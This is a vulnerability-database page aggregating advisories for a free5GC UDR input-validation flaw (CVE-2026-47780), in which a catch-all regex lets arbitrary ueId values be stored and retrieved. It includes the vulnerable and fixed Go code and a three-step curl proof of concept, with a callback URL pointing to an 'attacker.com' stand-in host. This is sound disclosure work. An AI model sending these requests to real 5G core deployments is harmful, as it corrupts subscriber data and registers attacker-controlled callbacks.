Vulnerability-Lookup

CVE-2026-47780 (GCVE-0-2026-47780)

Vulnerability from cvelistv5 – Published: 2026-09-15 14:43 – Updated: 2026-09-15 15:25

Title

free5GC: UDR Improper ueId validation in free5GC EE subscription handlers allows arbitrary identifier persistence

Summary

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 15:25 UTC

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/free5gc/free5gc/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
free5gc	free5gc	Affected: <= 4.2.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-47780

Vulnerability from fkie_nvd - Published: 2026-09-15 15:17 - Updated: 2026-09-15 16:17

Severity

6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/free5gc/free5gc/security/advisories/GHSA-6gxq-gpr8-xgjp
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/free5gc/free5gc/security/advisories/GHSA-6gxq-gpr8-xgjp

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "free5gc",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
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    }
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  "id": "CVE-2026-47780",
  "lastModified": "2026-09-15T16:17:11.343",
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GHSA-6GXQ-GPR8-XGJP

Vulnerability from github – Published: 2026-06-11 13:25 – Updated: 2026-06-11 13:25

Summary

free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence

Details

Summary

The free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model.

An improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store.

Details

The vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted.

Once the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend.

The vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only.

PoC

The issue was reproduced against a running free5GC UDR instance listening on 10.22.22.5:80 with the nudr-dr API exposed under /v2. The following commands demonstrate the behavior.

Environment

UDR IP: 10.22.22.5
UDR port: 80
API base path: /nudr-dr/v2
Tested endpoint family: /subscription-data/{ueId}/context-data/ee-subscriptions

Step 1: Create an EE subscription with a legitimate identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Expected observed result in the test environment: - HTTP/1.1 201 Created - Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1

Step 2: Create an EE subscription with an arbitrary non-3GPP identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Observed result in the test environment: - HTTP/1.1 201 Created - Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions/2 - Body: {}

This confirms that the arbitrary ueId passed validation and was accepted as a valid resource key.

Step 3: Retrieve the data stored under the arbitrary identifier

curl "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" -v

Observed result in the test environment: - HTTP/1.1 200 OK - Body: [{}]

This confirms persistence and retrieval of a subscription record under an attacker-chosen invalid ueId.

Affected code pattern

match, err := regexp.MatchString(
    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$`,
    ueId,
)
if !match {
    // return 400
}

Recommended fix

match, err := regexp.MatchString(
    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+)$`,
    ueId,
)

Impact

This is an improper input validation vulnerability that enables arbitrary identifier injection into the UDR EE subscription data path. Any actor with network reachability to the UDR SBI endpoint can create and query records bound to non-compliant, attacker-controlled ueId values. Depending on deployment assumptions, this may allow unauthorized data creation, persistent data corruption, namespace pollution, and interference with downstream components that trust UDR-stored identifiers to follow valid 3GPP formats.

The issue affects deployments exposing the vulnerable UDR EE subscription handlers and is particularly relevant in lab, test, and loosely segmented SBI environments where direct access to the UDR is possible. Because the flaw results in persistence of attacker-chosen identifiers, the impact extends beyond a simple validation bypass and reaches integrity of stored subscriber-related metadata.

Severity

4.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:U

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T13:25:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model.\n\nAn improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store. \n\n### Details\nThe vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted. \n\nOnce the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend.\n\nThe vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only.\n\n### PoC\n\nThe issue was reproduced against a running free5GC UDR instance listening on `10.22.22.5:80` with the `nudr-dr` API exposed under `/v2`. The following commands demonstrate the behavior. \n\n### Environment\n- UDR IP: `10.22.22.5`\n- UDR port: `80`\n- API base path: `/nudr-dr/v2`\n- Tested endpoint family: `/subscription-data/{ueId}/context-data/ee-subscriptions`\n\n### Step 1: Create an EE subscription with a legitimate identifier\n```bash\ncurl -X POST \"http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"callbackReference\": \"http://attacker.com/notify\"}\u0027 -v\n```\nExpected observed result in the test environment:\n- `HTTP/1.1 201 Created`\n- `Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1`\n\n### Step 2: Create an EE subscription with an arbitrary non-3GPP identifier\n```bash\ncurl -X POST \"http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"callbackReference\": \"http://attacker.com/notify\"}\u0027 -v\n```\nObserved result in the test environment:\n- `HTTP/1.1 201 Created`\n- `Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions/2`\n- Body: `{}`\n\nThis confirms that the arbitrary `ueId` passed validation and was accepted as a valid resource key.\n\n### Step 3: Retrieve the data stored under the arbitrary identifier\n```bash\ncurl \"http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions\" -v\n```\nObserved result in the test environment:\n- `HTTP/1.1 200 OK`\n- Body: `[{}]`\n\nThis confirms persistence and retrieval of a subscription record under an attacker-chosen invalid `ueId`.\n\n### Affected code pattern\n```go\nmatch, err := regexp.MatchString(\n    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$`,\n    ueId,\n)\nif !match {\n    // return 400\n}\n```\n\n### Recommended fix\n```go\nmatch, err := regexp.MatchString(\n    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+)$`,\n    ueId,\n)\n```\n\n### Impact\nThis is an **improper input validation** vulnerability that enables arbitrary identifier injection into the UDR EE subscription data path. Any actor with network reachability to the UDR SBI endpoint can create and query records bound to non-compliant, attacker-controlled `ueId` values. Depending on deployment assumptions, this may allow unauthorized data creation, persistent data corruption, namespace pollution, and interference with downstream components that trust UDR-stored identifiers to follow valid 3GPP formats. \n\nThe issue affects deployments exposing the vulnerable UDR EE subscription handlers and is particularly relevant in lab, test, and loosely segmented SBI environments where direct access to the UDR is possible. Because the flaw results in persistence of attacker-chosen identifiers, the impact extends beyond a simple validation bypass and reaches integrity of stored subscriber-related metadata.",
  "id": "GHSA-6gxq-gpr8-xgjp",
  "modified": "2026-06-11T13:25:18Z",
  "published": "2026-06-11T13:25:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-6gxq-gpr8-xgjp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-47780 (GCVE-0-2026-47780)

FKIE_CVE-2026-47780

GHSA-6GXQ-GPR8-XGJP

Summary

Details

PoC

Environment

Step 1: Create an EE subscription with a legitimate identifier

Step 2: Create an EE subscription with an arbitrary non-3GPP identifier

Step 3: Retrieve the data stored under the arbitrary identifier

Affected code pattern

Recommended fix

Impact

Tags

Sightings

Nomenclature